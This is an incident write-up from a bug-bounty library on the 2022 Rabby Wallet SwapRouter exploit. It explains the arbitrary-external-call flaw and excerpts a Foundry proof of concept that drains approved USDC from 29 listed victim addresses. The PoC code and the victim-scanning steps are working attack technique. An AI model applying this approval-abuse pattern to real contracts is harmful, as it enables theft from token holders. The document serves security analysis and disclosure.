# Rabby Wallet SwapRouter: arbitrary external call drains approved USDC

Rabby Wallet SwapRouter's swap() allowed arbitrary external calls via controllable dexRouter, letting an attacker drain ~$200k USDC from 29 victims who had approved the router.

- Payout: Real-world hack
- Severity: critical
- Program: Rabby Wallet SwapRouter
- Analysis by: DeFiHackLabs
- Disclosed: 2022-10-11
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-10/RabbyWallet_SwapRouter_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221011-rabbywallet-swaprouter
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:recon vuln:access-control

**Target:** Rabby Wallet SwapRouter contract (0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1)
**Root cause:** The swap() function made an arbitrary external call to a user-supplied dexRouter address with user-supplied data, without validating that the target was a legitimate DEX router or that the call was safe.
**Steps:**
1. Identify victims who had approved USDC to the Rabby SwapRouter (e.g., by scanning historical transactions).
2. For each victim, check `USDC_TOKEN.allowance(victim, RABBYSWAP_ROUTER)` and `USDC_TOKEN.balanceOf(victim)`.
3. If allowance >= balance, craft `usdc_callbackData = abi.encodeWithSignature("transferFrom(address,address,uint256)", victim, attacker, balance)`.
4. Call `RABBYSWAP_ROUTER.swap(address(USDT_TOKEN), 0, address(this), 4660, address(USDC_TOKEN), address(USDC_TOKEN), usdc_callbackData, block.timestamp)` to make the router call USDC's transferFrom, pulling the victim's USDC to the attacker.
5. Repeat for all victims; stolen funds were swapped and 114 ETH deposited to Tornado Cash.
**How found:** The attacker likely scanned historical transactions to find addresses that had approved the Rabby SwapRouter, then checked each victim's allowance and balance to identify exploitable approvals.
**Exploitation:** The attacker used a contract that called the vulnerable swap() with dexRouter set to the USDC token contract and data encoding transferFrom(victim, attacker, amount). Because the router performed an arbitrary external call, it executed USDC.transferFrom using the victim's prior approval to the router, transferring the victim's USDC balance to the attacker. The attacker repeated this for 29 victims, stealing multiple tokens and depositing 114 ETH to Tornado Cash.
**Insight:** When a contract performs an external call to a user-supplied address with user-supplied calldata, check if that call can be directed at token contracts to abuse existing approvals. Scan for approvals to the vulnerable contract to find victims.

## Proof of concept (copied exactly from the original report)

**Foundry PoC calling RabbySwap.swap with malicious transferFrom payload**

```
bytes memory usdc_callbackData = abi.encodeWithSignature(
                    "transferFrom(address,address,uint256)", victims[i], address(this), vic_balance
                );
                RABBYSWAP_ROUTER.swap(
                    address(USDT_TOKEN),
                    0,
                    address(this),
                    4660,
                    address(USDC_TOKEN),
                    address(USDC_TOKEN),
                    usdc_callbackData,
                    block.timestamp
                );
            }
        }
```

**Victim address array and allowance check loop**

```
address[29] memory victims = [
            0x94228872bb16CBCDfe010c42a8e456d15B366bF1,
            0x6a3BCee1eBeBDaA099a46d21a355D0FF1C521fCB,
            0xDAcCce559a0571083556f39d05b177579613D83b,
            0x720610ed4925676D971B0ae5b3080bd233E19038,
            0xf9e1D1e9F22c96752356AdFd377231528c7E851E,
            0xAF22b1692dEe5929952cFBA4D9a74c0952C712C8,
            0xFcdB212E7e7588D2dd2cc44C30F6C79fB507DB4B,
            0x9A93C5f7680724F6b7097085B0052A56D80615Bd,
            0x491968b05D95979BA3a52D73D8a39EA96693f011,
            0xc64284527B04A48c6673dF62f5B48188Ccfdf658,
            0x9df99a08710615FaBcb16Ea0b05ED039e8a5F644,
            0xc897967Bab363caDD4F3001d51506bCc5DD6f6C2,
            0x48aa9d67cb713804C005516BCa7769c159d7897C,
            0xB9AFb68de4E1f89acA813ca75d87bd86a1a17aa3,
            0xC10898edA672fDFc4Ac0228bB1Da9b2bF54C768f,
            0x73B37009778048f6dB88fD602582473e74e5019a,
            0xbB4b297cC5257D8ab7F280361C96b3A27014EbBb,
            0x5BE2539BaA7622865FDc401bA26adB636d78f5Bf,
            0x25939E70Dc19ef0aa2819f5c6544712a36eEbfa7,
            0x5853eD4f26A3fceA565b3FBC698bb19cdF6DEB85,
            0x73a6b16aD155aCd15F1A69e61369DB883dFC0b0b,
            0xE451DC0948F33B1261c585f0DB84cca9Ab69F3A4,
            0xd38023D7Ee559672fA00eA5156734710bcc0e781,
            0x059c1592696D430E7bA8cccC984BA9639b8CF90B,
            0x69AfE88F22F416fFB7d2Bf119b31EBc0D0d85325,
            0xD506Fb416B0ad8DBf7859B9B38c435405E3d1110,
            0xe7b6804A9fE8aDEb109112A8A2CF40093E0d55fc,
            0xeEBbAf298bb8B5076723d69AF61bf75a5C2ad8d6,
            0x1Fc550e98aD3021e32C47A84019F77a0792c60B7
        ];

        for (uint256 i; i < victims.length; ++i) {
            // Step 1: Check the victim's USDC balance and allowance to RABBYSWAP_ROUTER
            uint256 vic_balance = USDC_TOKEN.balanceOf(victims[i]);
            uint256 vic_allowance = USDC_TOKEN.allowance(victims[i], address(RABBYSWAP_ROUTER));

            // Step 2: If allowance >= balance: exploit!
            if (vic_allowance >= vic_balance) {
```

